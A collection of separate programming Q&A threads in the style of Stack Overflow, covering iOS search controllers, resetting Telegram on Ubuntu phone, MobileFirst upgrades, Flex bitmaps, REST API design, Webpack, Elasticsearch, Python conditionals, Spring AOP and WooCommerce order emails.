Inside a NavigationController, we have a UITabBarController (with 3 tabs) with a UIViewController that has a UISearchController.
There is an error that if we leave the UISearchController active and switch to another view, when we return to the search view the entire screen is black.
However, when the UISearchController is not active and we switch views this does not happen.
We have tried to set the controller to not be active when segueing between views; however, when the UISearchController is active none of the segueing events get called (no log prints appear from viewWillDissapear, viewWillAppear, etc.)
Looking on other threads, we tried setting self.definesPresentationContext = true
but that does not work.
Has anyone else had this problem or know how to fix it?

A: Try to set the searchbarController active like this
self.resultSeachController.active = false

before you move on the next View

A: I faced the same problem and solved it as follows:
I extended UITabBarController and created a custom class TabBarController
class TabBarController: UITabBarController  {

In that class I implemented its didSelectItem method, and in that method I called a method of the view controller that closes the search controller
// UITabBarDelegate
override func tabBar(tabBar: UITabBar, didSelectItem item: UITabBarItem) {
    let vc = viewControllers![selectedIndex] as! CommonViewController
    if vc.searchController.active {
        vc.searchBarCancelButtonClicked_NoReload()
    }
}

viewControllers is an array in UITabBarController that keeps all the view controllers belonging to the UITabBarController, and 'selectedIndex' is the index of the Tab (and the view controller) which was displayed, and thus one can get to the viewController that has the searchController active.
In my app all the view controllers are subclasses of a root class named CommonViewController where I put all the vars and methods that are common to all view controllers, such as all the search functionality. Therefore I simply check if the search controller is active and if it is I call a method that makes it inactive and does some other related cleanup.


text:
Q: How to reset telegram on Ubuntu phone? After receiving a sticker in a secret chat, telegram crashed. At each attempt to open it again, it crashed again. I reinstalled telegram and rebooted the phone, to no avail.
This was on OTA-13. Telegram 2.2.30.

A: *

*open terminal application

*run rm -rf ~/.config/com.ubuntu.telegram and rm -rf ~/.cache/com.ubuntu.telegram This will delete your secret chats
Alternatively, you can delete these directories in the file manager, after enabling show hidden files. (thanks pomsky)


text:
Q: Upgrading to Mobile First 6.3 Server shows No runtime The client has upgraded the worklight server 6.2 to Mobile First 6.3, and deployed the updated war file. Now when we open the console to deploy the adapter, "It shows no runtime can be found"
But the same project works fine in the local development environment, where we installed the mobilefirst studio plugin in eclipse. We are able to build the project and run the app.
Java - 1.7
Eclipse - Juno SR2
MobileFirst studio 6.3
Cannot access the remote server for now, will attach the logs shortly.
Kindly let us know if there are any known issues on upgrading to 6.3(mobile first) from 6.2(worklight)
Thanks

A: Hi we are able to fix it. The reason is the client has not built the war file in 6.3, they have updated the old war, when we tried building the war file from the 6.3 and deployed. it worked.


text:
Q: Convert and String(path of image) to a Bitmap obj The solution should be straight forward but I cannot find it, my problem it's that I'm reading a xml, and one of the properties inside the xml it's a Bitmap path(string), when I`m reading this xml I would like to convert this string to a Bitmap Obj so I can use through my MXMLs.
Some suggestion?!

A: I would load the bitmapData like heartcode wrote in their answer.
But to retreive the BitmapData in the loaded function I would do this
var ldr:Loader = event.currentTarget as Loader;
var bitmap:Bitmap = Bitmap(ldr.content);
var bd:BitmapData = new Bitmap(bitmap.bitmapData.clone(), "auto", true);
ldr.removeEventListener(Event.COMPLETE, addBitmap);
ldr = null; //Allow flex to gc the Loaded as you now have two copies of the bytes in memory

Using the draw method, I think the loader will need to be on the stage so it can be rendered. This will avoid that. You can the assign bd as the source of the BitmapImage

A: if you need the bitmapdata or the bitmap, try this:
import flash.display.*;
import flash.events.*;
import flash.net.*;

var bitmapPath:String = "imageFilePath";
var myBitmap:Bitmap;
var bitmapLoader:Loader;

bitmapLoader = new Loader();
bitmapLoader.contentLoaderInfo.addEventListener(Event.COMPLETE, addBitmap);
bitmapLoader.load(new URLRequest(bitmapPath));

function addBitmap(event:Event):void
{
    var bd:BitmapData = new BitmapData(event.currentTarget.content.width, event.currentTarget.content.height);
    bd.draw(event.currentTarget.content);

    myBitmap = new Bitmap(bd);
    addChild(myBitmap);
};

A: If you're using MXML, you should just be able to pass the string directly to the "source" attribute of the  tag. Flex abstracts away all of the loading stuff.

A: I posted some code that may help for a similar question that was asked a little while ago. It will take your XML contents and preload the images into an ArrayCollection to use later.
Embeding images in an Flex application


text:
Q: Consuming RESTFul API with hyperlinked relations For example, I have an Article entity, with Article.author property. And this property is a String, link to the User entity. In the client app, looks like I have to fetch this .author data separetely. Is this how a hyperlinked API should be consumed?
Maybe I can embed the author data into the Article data, but this would not make sense in terms of hyperlinks.


text:
Q: Webpack is slow at "95% emitting CopyPlugin" during hot reload with VueJS During hot reload, Webpack gets stuck at 95% emitting CopyPlugin for a few seconds.
I have many files in my public folder, mostly images (about 1GB), which must be displayed on my VueJS app. If I remove them, I no longer have the problem.
Here are my package.json dependencies:
{
  ...
  "scripts": {
    "serve": "vue-cli-service serve",
    "build": "vue-cli-service build",
    "lint": "vue-cli-service lint"
  },
  "dependencies": {
    "core-js": "^3.6.4",
    "register-service-worker": "^1.7.1",
    "vue": "^2.6.11",
    "vue-router": "^3.1.6"
  },
  "devDependencies": {
    "@vue/cli-plugin-babel": "~4.3.0",
    "@vue/cli-plugin-eslint": "~4.3.0",
    "@vue/cli-plugin-pwa": "~4.3.0",
    "@vue/cli-plugin-router": "~4.3.0",
    "@vue/cli-service": "~4.3.0",
    "babel-eslint": "^10.1.0",
    "eslint": "^6.7.2",
    "eslint-plugin-vue": "^6.2.2",
    "sass": "^1.26.3",
    "sass-loader": "^8.0.2",
    "vue-template-compiler": "^2.6.11"
  }
}

And this is my vue.config.js file:
const path = require("path");

function resolveSrc(_path) {
  return path.join(__dirname, _path);
}
// vue.config.js
module.exports = {
  lintOnSave: true,
  configureWebpack: {
    // Set up all the aliases we use in our app.
    resolve: {
      alias: {
        assets: resolveSrc("src/assets"),
      },
    },
    output: {
      chunkFilename: "[id].[hash].js",
      crossOriginLoading: "anonymous",
      filename: "[name].[hash].js",
      path: path.resolve(__dirname, "dist"),
    }
  },

  css: {
    // Enable CSS source maps.
    sourceMap: process.env.NODE_ENV !== "production",
  },
};

I would have expected Webpack to cache my public files, and not copy them again at each reload. Maybe there's a way to configure it, but I don't have a good knowledge of Webpack and vue-cli. If anyone has a solution to cache/speed up the hot reload of my app, it would be great, many thanks!

A: ah my bad, in my case i have wrong move and dunno whois put node_modules inside public folder and root folder

root_project
 ┣ node_modules
 ┣ public
 ┣  ┣ node_modules // here is problem , try remove or anything big size folder // this just in my case


text:
Q: ElasticSearch: query for checking if exist element with specified field value I have a list of element ids (for example: [1, 23, 42, 45]) and I'm looking for the fastest way to check if in ES database elements with those ids already exist or not. In result I want to recieve response containing only ids which are present in Elasticsearch: for example [1, 42] - what means that elements with ids 1 and 42 are yet in DB.
Now I send a query for all element ids in the DB and then check if on those list are my [1, 23, 42, 45] or not. Is there any faster way ?

A: You can use ids query:
GET /your_index/your_type/_search
{
  "query": {
    "ids": {
      "values": [1, 23, 42, 45]
    }
  },
  "fields": []
}

A: Here's another way, if what you are wanting is just a list of existing ids from the list you supply (I can't tell if that's what you're asking for or not):
POST /test_index/_search?search_type=count
{
    "aggs": {
        "id_terms": {
            "terms": {
                "field": "id",
                "include": [1, 23, 42, 45]
            }
        }
    }
}

If I have documents with ids 1,2,3,42, the response is:
{
   "took": 1,
   "timed_out": false,
   "_shards": {
      "total": 1,
      "successful": 1,
      "failed": 0
   },
   "hits": {
      "total": 4,
      "max_score": 0,
      "hits": []
   },
   "aggregations": {
      "id_terms": {
         "doc_count_error_upper_bound": 0,
         "sum_other_doc_count": 0,
         "buckets": [
            {
               "key": 1,
               "doc_count": 1
            },
            {
               "key": 42,
               "doc_count": 1
            }
         ]
      }
   }
}

Here is the code I used to test it:
http://sense.qbox.io/gist/96d8d27078e74f7645eee85044b59899c57d0022


text:
Q: why is else statement executing? I am going through the cs50 intro to python course and currently trying to complete one of the problems in the problem set. I will show my code below.
file_type = input('File name: ').lower().strip()
if file_type.endswith('.jpg'):
    print('image/jpeg')
elif file_type.endswith('.jpeg'):
    print('image/jpeg')
elif file_type.endswith('.gif'):
    print('image/gif')
elif file_type.endswith('.png'):
    print('image/png')
if file_type.endswith('.pdf'):
    print('application/pdf')
elif file_type.endswith('.zip'):
    print('application/zip')
if file_type.endswith('.txt'):
    print('text/plain')
else:
    print('application/octet-stream')

the output for some reason is printing the else statement with the if or elif statements that have come back as true. so why would the else statement execute if the statements prior are true?? please help, I am banging my head against the wall over this.

A: try to use if...elif...else structure
if file_type.endswith('.jpg'):
    print('image/jpeg')
elif file_type.endswith('.jpeg'):
    print('image/jpeg')
elif file_type.endswith('.gif'):
    print('image/gif')
elif file_type.endswith('.png'):
    print('image/png')
elif file_type.endswith('.pdf'):
    print('application/pdf')
elif file_type.endswith('.zip'):
    print('application/zip')
elif file_type.endswith('.txt'):
    print('text/plain')
else:
    print('application/octet-stream')```


text:
Q: @Before Advice Annotation not Applied in the Spring Application I have been trying to develop a small application that demonstrates the @Before Annotation , but its not working
pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
     xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
     xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>aopdemo</groupId>
<artifactId>aopdemo</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
    <dependency>
        <groupId>org.springframework</groupId>
        <artifactId>spring-core</artifactId>
        <version>5.0.6.RELEASE</version>
    </dependency>

    <dependency>
        <groupId>org.springframework</groupId>
        <artifactId>spring-aop</artifactId>
        <version>5.0.6.RELEASE</version>
    </dependency>
    <dependency>
        <groupId>org.springframework</groupId>
        <artifactId>spring-beans</artifactId>
        <version>5.0.6.RELEASE</version>
    </dependency>
    <dependency>
        <groupId>org.springframework</groupId>
        <artifactId>spring-context</artifactId>
        <version>5.0.6.RELEASE</version>
    </dependency>
    <dependency>
        <groupId>org.springframework</groupId>
        <artifactId>spring-aspects</artifactId>
        <version>5.0.6.RELEASE</version>
    </dependency>
    <dependency>
        <groupId>org.aspectj</groupId>
        <artifactId>aspectjrt</artifactId>
        <version>1.6.11</version>
    </dependency>
    <dependency>
        <groupId>org.aspectj</groupId>
        <artifactId>aspectjweaver</artifactId>
        <version>1.9.0</version>
    </dependency>
</dependencies>

AccoutDAO.java file is
   package org.java.aop.dao;

import org.springframework.stereotype.Component;
@Component
public class AccoutDAO {
    public void addAccount()
    {
        System.out.println("Adding account"+getClass());
    }
}

The Aspect configuration file is
   package org.java.aop.aspects;

import org.aspectj.lang.annotation.Aspect;
import org.aspectj.lang.annotation.Before;
import org.springframework.stereotype.Component;

@Aspect
@Component
public class MyAspects {

    @Before("execution(public void addAccount())")
    public void display()
    {
        System.out.println("=====================>>CALLING Aspects");
    }
}

The spring config file(spring-config.xml) is
    <?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:mvc="http://www.springframework.org/schema/context"
       xmlns:aop="http://www.springframework.org/schema/aop"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop.xsd">
<bean id="accountDAO" class="org.java.aop.dao.AccoutDAO">
</bean>
<aop:aspectj-autoproxy/>

</beans>

And finally my main code is
    package org.java.aop;
import org.java.aop.dao.AccoutDAO;
import org.springframework.context.support.ClassPathXmlApplicationContext;
public class MainDemo {

    public static void main(String arg[])
    {
        try
        {
            ClassPathXmlApplicationContext context=new ClassPathXmlApplicationContext("spring-config.xml");
            AccoutDAO accoutDAO=context.getBean("accountDAO",AccoutDAO.class);
            accoutDAO.addAccount();
            context.close();
        }
        catch (Exception e)
        {
            System.out.print(e);
        }
    }
}

I am able to get the output as "INFO: Loading XML bean definitions from class path resource [spring-config.xml]
Adding accountclass org.java.aop.dao.AccoutDAO
Nov 22, 2018 2:06:14 AM org.springframework.context.support.AbstractApplicationContext doClose
INFO: Closing org.springframework.context.support.ClassPathXmlApplicationContext@1ed6993a: startup date [Thu Nov 22 02:06:14 IST 2018]; root of context hierarchy"
But i could not able to get the output for @Before Annotation.Kindly tell me whats wrong in this code

A: The above problem is resolved by adding component scan in spring-config.xml
 <?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:mvc="http://www.springframework.org/schema/context"
       xmlns:aop="http://www.springframework.org/schema/aop"
       xmlns:context="http://www.springframework.org/schema/context"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop.xsd">
<bean id="accountDAO" class="org.java.aop.dao.AccoutDAO">
</bean>
<aop:aspectj-autoproxy/>
<context:component-scan base-package="org.java.aop"/>
</beans>


text:
Q: Problem with detail order in function triggered by woocommerce_new_order I would like that after a new order has been created, an email is also sent for each product in the order, each to an address saved in an acf field of the specific product.
In the mail I want to have the details of the item as seen in the table of the classic wordpress order summary mail.
I have tried with:
add_action( 'woocommerce_new_order', 'create_invoice_for_wc_order',  1, 2  );

function create_invoice_for_wc_order( $order_id, $order ) {

    $oggetto = '';
    $corpo = '';
    $emailDaChi = $order->get_billing_email();

    foreach ( $order->get_items() as $item_id => $item ) {

        $emailAChi = get_field('email_gestore', $product_id); //email del gestore

        if ($emailAChi != '' && $emailAChi != null) {
            $product_id = $item->get_product_id();
            $variation_id = $item->get_variation_id();
            $product = $item->get_product(); // see link above to get $product info
            $product_name = $item->get_name();
            $quantity = $item->get_quantity();
            $subtotal = $item->get_subtotal();
            $total = $item->get_total();
            $tax = $item->get_subtotal_tax();
            $tax_class = $item->get_tax_class();
            $tax_status = $item->get_tax_status();
            $allmeta = $item->get_meta_data();
            $somemeta = $item->get_meta( '_whatever', true );
            $item_type = $item->get_type(); // e.g. "line_item", "fee"
            $dettaglio = wc_display_item_meta($item, array(
                    'echo' => false,
            ));
            $corpo = '

                     Riepilogo NUOVA PRENOTAZIONE:

                DETTAGLI ORDINE:

'
                .$product_name.'

                QUANTITA: '.$quantity.'

                SUBTOTALE: '.$subtotal.'

                TOTALE: '.$total.'

                DETTAGLI: '.$dettaglio.'

';

            $headers = array(
                'Content-Type: text/html; charset=UTF-8',
                'From: '.$emailDaChi,
            );

            $mail = wp_mail( $emailAChi, $oggetto, $corpo, $headers);
        }

    }
}

In the mail after the string "DETTAGLI: " I see nothing.
However, if I take the code, repurpose it to pass an order id and echo the body of the mail, the details are printed out correctly.
How can I do this?
Thanks

A: you're calling this:
$emailAChi = get_field('email_gestore', $product_id);

...but $product_id is not yet defined at that stage, so the email (wp_mail) won't trigger.
Also, please make sure $oggetto is not empty and also you don't need this:
$mail = wp_mail( $emailAChi, $oggetto, $corpo, $headers);

... this is enough:
wp_mail( $emailAChi, $oggetto, $corpo, $headers);